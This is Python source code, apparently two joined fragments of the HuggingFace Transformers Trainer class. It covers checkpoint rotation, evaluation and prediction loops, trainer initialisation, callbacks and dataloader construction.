glob_checkpoints = [str(x) for x in Path(output_dir).glob(f"{checkpoint_prefix}-*")]
for path in glob_checkpoints:
if use_mtime:
ordering_and_checkpoint_path.append((os.path.getmtime(path), path))
else:
regex_match = re.match(f".*{checkpoint_prefix}-([0-9]+)", path)
if regex_match and regex_match.groups():
ordering_and_checkpoint_path.append((int(regex_match.groups()[0]), path))
checkpoints_sorted = sorted(ordering_and_checkpoint_path)
checkpoints_sorted = [checkpoint[1] for checkpoint in checkpoints_sorted]
# Make sure we don't delete the best model.
if self.state.best_model_checkpoint is not None:
best_model_index = checkpoints_sorted.index(str(Path(self.state.best_model_checkpoint)))
checkpoints_sorted[best_model_index], checkpoints_sorted[-1] = (
checkpoints_sorted[-1],
checkpoints_sorted[best_model_index],
)
return checkpoints_sorted
def _rotate_checkpoints(self, use_mtime=False, output_dir=None) -> None:
if self.args.save_total_limit is None or self.args.save_total_limit <= 0:
return
# Check if we should delete older checkpoint(s)
checkpoints_sorted = self._sorted_checkpoints(use_mtime=use_mtime, output_dir=output_dir)
if len(checkpoints_sorted) <= self.args.save_total_limit:
return
number_of_checkpoints_to_delete = max(0, len(checkpoints_sorted) - self.args.save_total_limit)
checkpoints_to_be_deleted = checkpoints_sorted[:number_of_checkpoints_to_delete]
for checkpoint in checkpoints_to_be_deleted:
logger.info("Deleting older checkpoint [{}] due to args.save_total_limit".format(checkpoint))
shutil.rmtree(checkpoint)
def evaluate(
self,
eval_dataset: Optional[Dataset] = None,
ignore_keys: Optional[List[str]] = None,
metric_key_prefix: str = "eval",
) -> Dict[str, float]:
"""
Run evaluation and returns metrics.
The calling script will be responsible for providing a method to compute metrics, as they are task-dependent
(pass it to the init :obj:`compute_metrics` argument).
You can also subclass and override this method to inject custom behavior.
Args:
eval_dataset (:obj:`Dataset`, `optional`):
Pass a dataset if you wish to override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`,
columns not accepted by the ``model.forward()`` method are automatically removed. It must implement the
:obj:`__len__` method.
ignore_keys (:obj:`Lst[str]`, `optional`):
A list of keys in the output of your model (if it is a dictionary) that should be ignored when
gathering predictions.
metric_key_prefix (:obj:`str`, `optional`, defaults to :obj:`"eval"`):
An optional prefix to be used as the metrics key prefix. For example the metrics "bleu" will be named
"eval_bleu" if the prefix is "eval" (default)
Returns:
A dictionary containing the evaluation loss and the potential metrics computed from the predictions. The
dictionary also contains the epoch number which comes from the training state.
"""
# memory metrics - must set up as early as possible
self._memory_tracker.start()
if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
eval_dataloader = self.get_eval_dataloader(eval_dataset)
start_time = time.time()
output = self.prediction_loop(
eval_dataloader,
description="Evaluation",
# No point gathering the predictions if there are no metrics, otherwise we defer to
# self.args.prediction_loss_only
prediction_loss_only=True if self.compute_metrics is None else None,
ignore_keys=ignore_keys,
metric_key_prefix=metric_key_prefix,
)
n_samples = len(eval_dataset if eval_dataset is not None else self.eval_dataset)
output.metrics.update(speed_metrics(metric_key_prefix, start_time, n_samples))
self.log(output.metrics)
if self.args.tpu_metrics_debug or self.args.debug:
# tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)
xm.master_print(met.metrics_report())
self.control = self.callback_handler.on_evaluate(self.args, self.state, self.control, output.metrics)
self._memory_tracker.stop_and_update_metrics(output.metrics)
return output.metrics
def predict(
self, test_dataset: Dataset, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval"
) -> PredictionOutput:
"""
Run prediction and returns predictions and potential metrics.
Depending on the dataset and your use case, your test dataset may contain labels. In that case, this method
will also return metrics, like in :obj:`evaluate()`.
Args:
test_dataset (:obj:`Dataset`):
Dataset to run the predictions on. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed. Has to implement the method :obj:`__len__`
ignore_keys (:obj:`Lst[str]`, `optional`):
A list of keys in the output of your model (if it is a dictionary) that should be ignored when
gathering predictions.
metric_key_prefix (:obj:`str`, `optional`, defaults to :obj:`"eval"`):
An optional prefix to be used as the metrics key prefix. For example the metrics "bleu" will be named
"eval_bleu" if the prefix is "eval" (default)
.. note::
If your predictions or labels have different sequence length (for instance because you're doing dynamic
padding in a token classification task) the predictions will be padded (on the right) to allow for
concatenation into one array. The padding index is -100.
Returns: `NamedTuple` A namedtuple with the following keys:
- predictions (:obj:`np.ndarray`): The predictions on :obj:`test_dataset`.
- label_ids (:obj:`np.ndarray`, `optional`): The labels (if the dataset contained some).
- metrics (:obj:`Dict[str, float]`, `optional`): The potential dictionary of metrics (if the dataset
contained labels).
"""
# memory metrics - must set up as early as possible
self._memory_tracker.start()
if test_dataset is not None and not isinstance(test_dataset, collections.abc.Sized):
raise ValueError("test_dataset must implement __len__")
test_dataloader = self.get_test_dataloader(test_dataset)
start_time = time.time()
output = self.prediction_loop(
test_dataloader, description="Prediction", ignore_keys=ignore_keys, metric_key_prefix=metric_key_prefix
)
output.metrics.update(speed_metrics(metric_key_prefix, start_time, len(test_dataset)))
self._memory_tracker.stop_and_update_metrics(output.metrics)
return output
def prediction_loop(
self,
dataloader: DataLoader,
description: str,
prediction_loss_only: Optional[bool] = None,
ignore_keys: Optional[List[str]] = None,
metric_key_prefix: str = "eval",
) -> PredictionOutput:
"""
Prediction/evaluation loop, shared by :obj:`Trainer.evaluate()` and :obj:`Trainer.predict()`.
Works both with or without labels.
"""
if not isinstance(dataloader.dataset, collections.abc.Sized):
raise ValueError("dataset must implement __len__")
prediction_loss_only = (
prediction_loss_only if prediction_loss_only is not None else self.args.prediction_loss_only
)
if self.args.deepspeed and not self.args.do_train:
# no harm, but flagging to the user that deepspeed config is ignored for eval
# flagging only for when --do_train wasn't passed as only then it's redundant
logger.info("Detected the deepspeed argument but it will not be used for evaluation")
model = self._wrap_model(self.model, training=False)
# if full fp16 is wanted on eval and this ``evaluation`` or ``predict`` isn't called while
# ``train`` is running, half it first and then put on device
if not self.is_in_train and self.args.fp16_full_eval:
model = model.half().to(self.args.device)
batch_size = dataloader.batch_size
num_examples = self.num_examples(dataloader)
logger.info("***** Running %s *****", description)
logger.info(" Num examples = %d", num_examples)
logger.info(" Batch size = %d", batch_size)
losses_host: torch.Tensor = None
preds_host: Union[torch.Tensor, List[torch.Tensor]] = None
labels_host: Union[torch.Tensor, List[torch.Tensor]] = None
world_size = max(1, self.args.world_size)
eval_losses_gatherer = DistributedTensorGatherer(world_size, num_examples, make_multiple_of=batch_size)
if not prediction_loss_only:
preds_gatherer = DistributedTensorGatherer(world_size, num_examples)
labels_gatherer = DistributedTensorGatherer(world_size, num_examples)
model.eval()
if is_torch_tpu_available():
dataloader = pl.ParallelLoader(dataloader, [self.args.device]).per_device_loader(self.args.device)
if self.args.past_index >= 0:
self._past = None
self.callback_handler.eval_dataloader = dataloader
for step, inputs in enumerate(dataloader):
loss, logits, labels = self.prediction_step(model, inputs, prediction_loss_only, ignore_keys=ignore_keys)
if loss is not None:
losses = loss.repeat(batch_size)
losses_host = losses if losses_host is None else torch.cat((losses_host, losses), dim=0)
if logits is not None:
preds_host = logits if preds_host is None else nested_concat(preds_host, logits, padding_index=-100)
if labels is not None:
labels_host = labels if labels_host is None else nested_concat(labels_host, labels, padding_index=-100)
self.control = self.callback_handler.on_prediction_step(self.args, self.state, self.control)
# Gather all tensors and put them back on the CPU if we have done enough accumulation steps.
if self.args.eval_accumulation_steps is not None and (step + 1) % self.args.eval_accumulation_steps == 0:
eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses"))
if not prediction_loss_only:
preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds"))
labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids"))
# Set back to None to begin a new accumulation
losses_host, preds_host, labels_host = None, None, None
if self.args.past_index and hasattr(self, "_past"):
# Clean the state at the end of the evaluation loop
delattr(self, "_past")
# Gather all remaining tensors and put them back on the CPU
eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses"))
if not prediction_loss_only:
preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds"))
labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids"))
eval_loss = eval_losses_gatherer.finalize()
preds = preds_gatherer.finalize() if not prediction_loss_only else None
label_ids = labels_gatherer.finalize() if not prediction_loss_only else None
if self.compute_metrics is not None and preds is not None and label_ids is not None:
metrics = self.compute_metrics(EvalPrediction(predictions=preds, label_ids=label_ids))
else:
metrics = {}
# To be JSON-serializable, we need to remove numpy types or zero-d tensors
metrics = denumpify_detensorize(metrics)
if eval_loss is not None:
metrics[f"{metric_key_prefix}_loss"] = eval_loss.mean().item()
# Prefix all keys with metric_key_prefix + '_'
for key in list(metrics.keys()):
if not key.startswith(f"{metric_key_prefix}_"):
metrics[f"{metric_key_prefix}_{key}"] = metrics.pop(key)
return PredictionOutput(predictions=preds, label_ids=label_ids, metrics=metrics)
def _gather_and_numpify(self, tensors, name):
"""
Gather value of `tensors` (tensor or list/tuple of nested tensors) and convert them to numpy before
concatenating them to `gathered`
"""
if tensors is None:
return
if is_torch_tpu_available():
tensors = nested_xla_mesh_reduce(tensors, name)
elif self.args.local_rank != -1:
tensors = distributed_concat(tensors)
return nested_numpify(tensors)
def prediction_step(
self,
model: nn.Module,
inputs: Dict[str, Union[torch.Tensor, Any]],
prediction_loss_only: bool,
ignore_keys: Optional[List[str]] = None,
) -> Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]:
"""
Perform an evaluation step on :obj:`model` using obj:`inputs`.
Subclass and override to inject custom behavior.
Args:
model (:obj:`nn.Module`):
The model to evaluate.
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
The dictionary will be unpacked before being fed to the model. Most models expect the targets under the
argument :obj:`labels`. Check your model's documentation for all accepted arguments.
prediction_loss_only (:obj:`bool`):
Whether or not to return the loss only.
ignore_keys (:obj:`Lst[str]`, `optional`):
A list of keys in the output of your model (if it is a dictionary) that should be ignored when
gathering predictions.
Return:
Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]: A tuple with the loss, logits and
labels (each being optional).
"""
has_labels = all(inputs.get(k) is not None for k in self.label_names)
inputs = self._prepare_inputs(inputs)
if ignore_keys is None:
if hasattr(self.model, "config"):
ignore_keys = getattr(self.model.config, "keys_to_ignore_at_inference", [])
else:
ignore_keys = []
# labels may be popped when computing the loss (label smoothing for instance) so we grab them first.
if has_labels:
labels = nested_detach(tuple(inputs.get(name) for name in self.label_names))
if len(labels) == 1:
labels = labels[0]
else:
labels = None
with torch.no_grad():
if has_labels:
loss, outputs = self.compute_loss(model, inputs, return_outputs=True)
loss = loss.mean().detach()
if isinstance(outputs, dict):
logits = tuple(v for k, v in outputs.items() if k not in ignore_keys + ["loss"])
else:
logits = outputs[1:]
else:
loss = None
if self.use_amp:
with autocast():
outputs = model(**inputs)
else:
outputs = model(**inputs)
if isinstance(outputs, dict):
logits = tuple(v for k, v in outputs.items() if k not in ignore_keys)
else:
logits = outputs
# TODO: this needs to be fixed and made cleaner later.
if self.args.past_index >= 0:
self._past = outputs[self.args.past_index - 1]
if prediction_loss_only:
return (loss, None, None)
logits = nested_detach(logits)
if len(logits) == 1:
logits = logits[0]
return (loss, logits, labels)
def floating_point_ops(self, inputs: Dict[str, Union[torch.Tensor, Any]]):
"""
For models that inherit from :class:`~transformers.PreTrainedModel`, uses that method to compute the number of
floating point operations for every backward + forward pass. If using another model, either implement such a
method in the model or subclass and override this method.
Args:
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
Returns:
:obj:`int`: The number of floating-point operations.
"""
if hasattr(self.model, "floating_point_ops"):
return self.model.floating_point_ops(inputs)
else:
return 0
| # coding=utf-8
# Copyright 2020-present the HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
The Trainer class, to easily train a 🤗 Transformers from scratch or finetune it on a new task.
"""
import collections
import gc
import inspect
import math
import os
import re
import shutil
import sys
import time
import warnings
from logging import StreamHandler
from pathlib import Path
from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Union
# Integrations must be imported before ML frameworks:
from .integrations import ( # isort: split
default_hp_search_backend,
get_reporting_integration_callbacks,
hp_params,
is_fairscale_available,
is_optuna_available,
is_ray_tune_available,
run_hp_search_optuna,
run_hp_search_ray,
init_deepspeed,
)
import numpy as np
import torch
from packaging import version
from torch import nn
from torch.utils.data.dataloader import DataLoader
from torch.utils.data.dataset import Dataset
from torch.utils.data.distributed import DistributedSampler
from torch.utils.data.sampler import RandomSampler, SequentialSampler
from .data.data_collator import DataCollator, DataCollatorWithPadding, default_data_collator
from .file_utils import (
WEIGHTS_NAME,
is_apex_available,
is_datasets_available,
is_in_notebook,
is_sagemaker_distributed_available,
is_torch_tpu_available,
is_training_run_on_sagemaker,
)
from .modeling_utils import PreTrainedModel, unwrap_model
from .optimization import Adafactor, AdamW, get_scheduler
from .tokenization_utils_base import PreTrainedTokenizerBase
from .trainer_callback import (
CallbackHandler,
DefaultFlowCallback,
PrinterCallback,
ProgressCallback,
TrainerCallback,
TrainerControl,
TrainerState,
)
from .trainer_pt_utils import (
DistributedLengthGroupedSampler,
DistributedSamplerWithLoop,
DistributedTensorGatherer,
LabelSmoother,
LengthGroupedSampler,
SequentialDistributedSampler,
distributed_broadcast_scalars,
distributed_concat,
get_parameter_names,
nested_concat,
nested_detach,
nested_numpify,
nested_xla_mesh_reduce,
reissue_pt_warnings,
)
from .trainer_utils import (
PREFIX_CHECKPOINT_DIR,
BestRun,
EvalPrediction,
HPSearchBackend,
PredictionOutput,
ShardedDDPOption,
TrainerMemoryTracker,
TrainOutput,
default_compute_objective,
default_hp_space,
denumpify_detensorize,
get_last_checkpoint,
set_seed,
speed_metrics,
)
from .training_args import ParallelMode, TrainingArguments
from .utils import logging
from .utils.modeling_auto_mapping import MODEL_FOR_QUESTION_ANSWERING_MAPPING_NAMES
_is_native_amp_available = False
DEFAULT_CALLBACKS = [DefaultFlowCallback]
DEFAULT_PROGRESS_CALLBACK = ProgressCallback
if is_in_notebook():
from .utils.notebook import NotebookProgressCallback
DEFAULT_PROGRESS_CALLBACK = NotebookProgressCallback
if is_apex_available():
from apex import amp
if version.parse(torch.__version__) >= version.parse("1.6"):
_is_native_amp_available = True
from torch.cuda.amp import autocast
if is_datasets_available():
import datasets
if is_torch_tpu_available():
import torch_xla.core.xla_model as xm
import torch_xla.debug.metrics as met
import torch_xla.distributed.parallel_loader as pl
if is_fairscale_available():
import fairscale
from fairscale.nn.data_parallel import ShardedDataParallel as ShardedDDP
from fairscale.optim import OSS
from fairscale.optim.grad_scaler import ShardedGradScaler
if version.parse(fairscale.__version__) >= version.parse("0.3"):
from fairscale.nn.data_parallel import FullyShardedDataParallel as FullyShardedDDP
from fairscale.nn.wrap import auto_wrap
else:
FullyShardedDDP = None
if is_sagemaker_distributed_available():
import smdistributed.dataparallel.torch.distributed as dist
from smdistributed.dataparallel.torch.parallel.distributed import DistributedDataParallel as DDP
else:
import torch.distributed as dist
if is_training_run_on_sagemaker():
logging.add_handler(StreamHandler(sys.stdout))
if TYPE_CHECKING:
import optuna
logger = logging.get_logger(__name__)
class Trainer:
"""
Trainer is a simple but feature-complete training and eval loop for PyTorch, optimized for 🤗 Transformers.
Args:
model (:class:`~transformers.PreTrainedModel` or :obj:`torch.nn.Module`, `optional`):
The model to train, evaluate or use for predictions. If not provided, a ``model_init`` must be passed.
.. note::
:class:`~transformers.Trainer` is optimized to work with the :class:`~transformers.PreTrainedModel`
provided by the library. You can still use your own models defined as :obj:`torch.nn.Module` as long as
they work the same way as the 🤗 Transformers models.
args (:class:`~transformers.TrainingArguments`, `optional`):
The arguments to tweak for training. Will default to a basic instance of
:class:`~transformers.TrainingArguments` with the ``output_dir`` set to a directory named `tmp_trainer` in
the current directory if not provided.
data_collator (:obj:`DataCollator`, `optional`):
The function to use to form a batch from a list of elements of :obj:`train_dataset` or :obj:`eval_dataset`.
Will default to :func:`~transformers.default_data_collator` if no ``tokenizer`` is provided, an instance of
:func:`~transformers.DataCollatorWithPadding` otherwise.
train_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The dataset to use for training. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed.
eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The dataset to use for evaluation. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed.
tokenizer (:class:`PreTrainedTokenizerBase`, `optional`):
The tokenizer used to preprocess the data. If provided, will be used to automatically pad the inputs the
maximum length when batching inputs, and it will be saved along the model to make it easier to rerun an
interrupted training or reuse the fine-tuned model.
model_init (:obj:`Callable[[], PreTrainedModel]`, `optional`):
A function that instantiates the model to be used. If provided, each call to
:meth:`~transformers.Trainer.train` will start from a new instance of the model as given by this function.
The function may have zero argument, or a single one containing the optuna/Ray Tune trial object, to be
able to choose different architectures according to hyper parameters (such as layer count, sizes of inner
layers, dropout probabilities etc).
compute_metrics (:obj:`Callable[[EvalPrediction], Dict]`, `optional`):
The function that will be used to compute metrics at evaluation. Must take a
:class:`~transformers.EvalPrediction` and return a dictionary string to metric values.
callbacks (List of :obj:`~transformers.TrainerCallback`, `optional`):
A list of callbacks to customize the training loop. Will add those to the list of default callbacks
detailed in :doc:`here <callback>`.
If you want to remove one of the default callbacks used, use the :meth:`Trainer.remove_callback` method.
optimizers (:obj:`Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR`, `optional`): A tuple
containing the optimizer and the scheduler to use. Will default to an instance of
:class:`~transformers.AdamW` on your model and a scheduler given by
:func:`~transformers.get_linear_schedule_with_warmup` controlled by :obj:`args`.
Important attributes:
- **model** -- Always points to the core model. If using a transformers model, it will be a
:class:`~transformers.PreTrainedModel` subclass.
- **model_wrapped** -- Always points to the most external model in case one or more other modules wrap the
original model. This is the model that should be used for the forward pass. For example, under ``DeepSpeed``,
the inner model is wrapped in ``DeepSpeed`` and then again in ``torch.nn.DistributedDataParallel``. If the
inner model hasn't been wrapped, then ``self.model_wrapped`` is the same as ``self.model``.
- **is_model_parallel** -- Whether or not a model has been switched to a model parallel mode (different from
data parallelism, this means some of the model layers are split on different GPUs).
- **place_model_on_device** -- Whether or not to automatically place the model on the device - it will be set
to :obj:`False` if model parallel or deepspeed is used, or if the default
``TrainingArguments.place_model_on_device`` is overridden to return :obj:`False` .
- **is_in_train** -- Whether or not a model is currently running ``train`` (e.g. when ``evaluate`` is called
while in ``train``)
"""
from .trainer_pt_utils import _get_learning_rate, log_metrics, metrics_format, save_metrics, save_state
def __init__(
self,
model: Union[PreTrainedModel, torch.nn.Module] = None,
args: TrainingArguments = None,
data_collator: Optional[DataCollator] = None,
train_dataset: Optional[Dataset] = None,
eval_dataset: Optional[Dataset] = None,
tokenizer: Optional["PreTrainedTokenizerBase"] = None,
model_init: Callable[[], PreTrainedModel] = None,
compute_metrics: Optional[Callable[[EvalPrediction], Dict]] = None,
callbacks: Optional[List[TrainerCallback]] = None,
optimizers: Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR] = (None, None),
):
if args is None:
output_dir = "tmp_trainer"
logger.info(f"No `TrainingArguments` passed, using `output_dir={output_dir}`.")
args = TrainingArguments(output_dir=output_dir)
self.args = args
# Seed must be set before instantiating the model when using model
set_seed(self.args.seed)
self.hp_name = None
self.deepspeed = None
self.is_in_train = False
# memory metrics - must set up as early as possible
self._memory_tracker = TrainerMemoryTracker(self.args.skip_memory_metrics)
self._memory_tracker.start()
# force device and distributed setup init explicitly
args._setup_devices
if model is None:
if model_init is not None:
self.model_init = model_init
model = self.call_model_init()
else:
raise RuntimeError("`Trainer` requires either a `model` or `model_init` argument")
else:
if model_init is not None:
warnings.warn(
"`Trainer` requires either a `model` or `model_init` argument, but not both. "
"`model_init` will overwrite your model when calling the `train` method. This will become a fatal error in the next release.",
FutureWarning,
)
self.model_init = model_init
if hasattr(model, "is_parallelizable") and model.is_parallelizable and model.model_parallel:
self.is_model_parallel = True
else:
self.is_model_parallel = False
# Setup Sharded DDP training
self.sharded_ddp = None
if len(args.sharded_ddp) > 0:
if args.deepspeed:
raise ValueError(
"Using --sharded_ddp xxx together with --deepspeed is not possible, deactivate one of those flags."
)
if args.local_rank == -1:
raise ValueError("Using sharded DDP only works in distributed training.")
elif not is_fairscale_available():
raise ImportError("Sharded DDP training requires fairscale: `pip install fairscale`.")
elif ShardedDDPOption.SIMPLE not in args.sharded_ddp and FullyShardedDDP is None:
raise ImportError(
"Sharded DDP in a mode other than simple training requires fairscale version >= 0.3, found "
f"{fairscale.__version__}. Upgrade your fairscale library: `pip install --upgrade fairscale`."
)
elif ShardedDDPOption.SIMPLE in args.sharded_ddp:
self.sharded_ddp = ShardedDDPOption.SIMPLE
elif ShardedDDPOption.ZERO_DP_2 in args.sharded_ddp:
self.sharded_ddp = ShardedDDPOption.ZERO_DP_2
elif ShardedDDPOption.ZERO_DP_3 in args.sharded_ddp:
self.sharded_ddp = ShardedDDPOption.ZERO_DP_3
# one place to sort out whether to place the model on device or not
self.place_model_on_device = args.place_model_on_device
if (
self.is_model_parallel
or (args.deepspeed and args.do_train)
or (args.fp16_full_eval and not args.do_train)
or (self.sharded_ddp in [ShardedDDPOption.ZERO_DP_2, ShardedDDPOption.ZERO_DP_3])
):
self.place_model_on_device = False
default_collator = default_data_collator if tokenizer is None else DataCollatorWithPadding(tokenizer)
self.data_collator = data_collator if data_collator is not None else default_collator
self.train_dataset = train_dataset
self.eval_dataset = eval_dataset
self.tokenizer = tokenizer
# postpone switching model to cuda when:
# 1. MP - since we are trying to fit a much bigger than 1 gpu model
# 2. fp16-enabled DeepSpeed loads the model in half the size and it doesn't need .to() anyway,
# and we only use deepspeed for training at the moment
if self.place_model_on_device:
model = model.to(args.device)
# Force n_gpu to 1 to avoid DataParallel as MP will manage the GPUs
if self.is_model_parallel:
self.args._n_gpu = 1
# later use `self.model is self.model_wrapped` to check if it's wrapped or not
self.model_wrapped = model
self.model = model
self.compute_metrics = compute_metrics
self.optimizer, self.lr_scheduler = optimizers
if model_init is not None and (self.optimizer is not None or self.lr_scheduler is not None):
raise RuntimeError(
"Passing a `model_init` is incompatible with providing the `optimizers` argument."
"You should subclass `Trainer` and override the `create_optimizer_and_scheduler` method."
)
default_callbacks = DEFAULT_CALLBACKS + get_reporting_integration_callbacks(self.args.report_to)
callbacks = default_callbacks if callbacks is None else default_callbacks + callbacks
self.callback_handler = CallbackHandler(
callbacks, self.model, self.tokenizer, self.optimizer, self.lr_scheduler
)
self.add_callback(PrinterCallback if self.args.disable_tqdm else DEFAULT_PROGRESS_CALLBACK)
# Will be set to True by `self._setup_loggers()` on first call to `self.log()`.
self._loggers_initialized = False
# Create output directory if needed
if self.is_world_process_zero():
os.makedirs(self.args.output_dir, exist_ok=True)
if not callable(self.data_collator) and callable(getattr(self.data_collator, "collate_batch", None)):
raise ValueError("The `data_collator` should be a simple callable (function, class with `__call__`).")
if args.max_steps > 0:
logger.info("max_steps is given, it will override any value given in num_train_epochs")
# Enforce rules on using datasets with no __len__
if train_dataset is not None and not isinstance(train_dataset, collections.abc.Sized) and args.max_steps <= 0:
raise ValueError("train_dataset does not implement __len__, max_steps has to be specified")
if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
self._signature_columns = None
if is_datasets_available():
if isinstance(train_dataset, datasets.Dataset):
self._remove_unused_columns(self.train_dataset, description="training")
if isinstance(eval_dataset, datasets.Dataset):
self._remove_unused_columns(self.eval_dataset, description="evaluation")
# Mixed precision setup
self.use_apex = False
self.use_amp = False
self.fp16_backend = None
if args.fp16:
if args.fp16_backend == "auto":
self.fp16_backend = "amp" if _is_native_amp_available else "apex"
else:
self.fp16_backend = args.fp16_backend
logger.info(f"Using {self.fp16_backend} fp16 backend")
if args.fp16 and not args.deepspeed: # deepspeed manages its own fp16
if self.fp16_backend == "amp":
self.use_amp = True
self.scaler = ShardedGradScaler() if self.sharded_ddp is not None else torch.cuda.amp.GradScaler()
else:
if not is_apex_available():
raise ImportError(
"Using FP16 with APEX but APEX is not installed, please refer to https://www.github.com/nvidia/apex."
)
self.use_apex = True
# Label smoothing
if self.args.label_smoothing_factor != 0:
self.label_smoother = LabelSmoother(epsilon=self.args.label_smoothing_factor)
else:
self.label_smoother = None
self.state = TrainerState()
self.control = TrainerControl()
# Internal variable for total_flos used to count as tensors (for distributed + TPU), will be sent in the
# state at each call to self.log.
self._total_flos = None
self.hp_search_backend = None
self.use_tune_checkpoints = False
default_label_names = (
["start_positions", "end_positions"]
if type(self.model).__name__ in MODEL_FOR_QUESTION_ANSWERING_MAPPING_NAMES.values()
else ["labels"]
)
self.label_names = default_label_names if self.args.label_names is None else self.args.label_names
self.control = self.callback_handler.on_init_end(self.args, self.state, self.control)
# very last
self._memory_tracker.stop_and_update_metrics()
def add_callback(self, callback):
"""
Add a callback to the current list of :class:`~transformer.TrainerCallback`.
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will instantiate a member of that class.
"""
self.callback_handler.add_callback(callback)
def pop_callback(self, callback):
"""
Remove a callback from the current list of :class:`~transformer.TrainerCallback` and returns it.
If the callback is not found, returns :obj:`None` (and no error is raised).
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will pop the first member of that class found in the list of callbacks.
Returns:
:class:`~transformer.TrainerCallback`: The callback removed, if found.
"""
return self.callback_handler.pop_callback(callback)
def remove_callback(self, callback):
"""
Remove a callback from the current list of :class:`~transformer.TrainerCallback`.
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will remove the first member of that class found in the list of callbacks.
"""
self.callback_handler.remove_callback(callback)
def _remove_unused_columns(self, dataset: "datasets.Dataset", description: Optional[str] = None):
if not self.args.remove_unused_columns:
return
if self._signature_columns is None:
# Inspect model forward signature to keep only the arguments it accepts.
signature = inspect.signature(self.model.forward)
self._signature_columns = list(signature.parameters.keys())
# Labels may be named label or label_ids, the default data collator handles that.
self._signature_columns += ["label", "label_ids"]
columns = [k for k in self._signature_columns if k in dataset.column_names]
ignored_columns = list(set(dataset.column_names) - set(self._signature_columns))
if len(ignored_columns) > 0:
dset_description = "" if description is None else f"in the {description} set "
logger.info(
f"The following columns {dset_description} don't have a corresponding argument in "
f"`{self.model.__class__.__name__}.forward` and have been ignored: {', '.join(ignored_columns)}."
)
dataset.set_format(type=dataset.format["type"], columns=columns, format_kwargs=dataset.format["format_kwargs"])
def _get_train_sampler(self) -> Optional[torch.utils.data.sampler.Sampler]:
if isinstance(self.train_dataset, torch.utils.data.IterableDataset) or not isinstance(
self.train_dataset, collections.abc.Sized
):
return None
# Build the sampler.
if self.args.group_by_length:
model_input_name = self.tokenizer.model_input_names[0] if self.tokenizer is not None else None
if self.args.world_size <= 1:
return LengthGroupedSampler(
self.train_dataset, self.args.train_batch_size, model_input_name=model_input_name
)
else:
return DistributedLengthGroupedSampler(
self.train_dataset,
self.args.train_batch_size,
num_replicas=self.args.world_size,
rank=self.args.process_index,
model_input_name=model_input_name,
)
else:
if self.args.world_size <= 1:
return RandomSampler(self.train_dataset)
elif self.args.parallel_mode == ParallelMode.TPU and not self.args.dataloader_drop_last:
# Use a loop for TPUs when drop_last is False to have all batches have the same size.
return DistributedSamplerWithLoop(
self.train_dataset,
batch_size=self.args.per_device_train_batch_size,
num_replicas=self.args.world_size,
rank=self.args.process_index,
)
else:
return DistributedSampler(
self.train_dataset, num_replicas=self.args.world_size, rank=self.args.process_index
)
def get_train_dataloader(self) -> DataLoader:
"""
Returns the training :class:`~torch.utils.data.DataLoader`.
Will use no sampler if :obj:`self.train_dataset` does not implement :obj:`__len__`, a random sampler (adapted
to distributed training if necessary) otherwise.
Subclass and override this method if you want to inject some custom behavior.
"""
if self.train_dataset is None:
raise ValueError("Trainer: training requires a train_dataset.")
train_sampler = self._get_train_sampler()
return DataLoader(
self.train_dataset,
batch_size=self.args.train_batch_size,
sampler=train_sampler,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
num_workers=self.args.dataloader_num_workers,
pin_memory=self.args.dataloader_pin_memory,
)
def _get_eval_sampler(self, eval_dataset: Dataset) -> Optional[torch.utils.data.sampler.Sampler]:
if is_torch_tpu_available():
return SequentialDistributedSampler(eval_dataset, num_replicas=xm.xrt_world_size(), rank=xm.get_ordinal())
elif self.args.local_rank != -1:
return SequentialDistributedSampler(eval_dataset)
else:
return SequentialSampler(eval_dataset)
def get_eval_dataloader(self, eval_dataset: Optional[Dataset] = None) -> DataLoader:
"""
Returns the evaluation :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not
accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.
"""
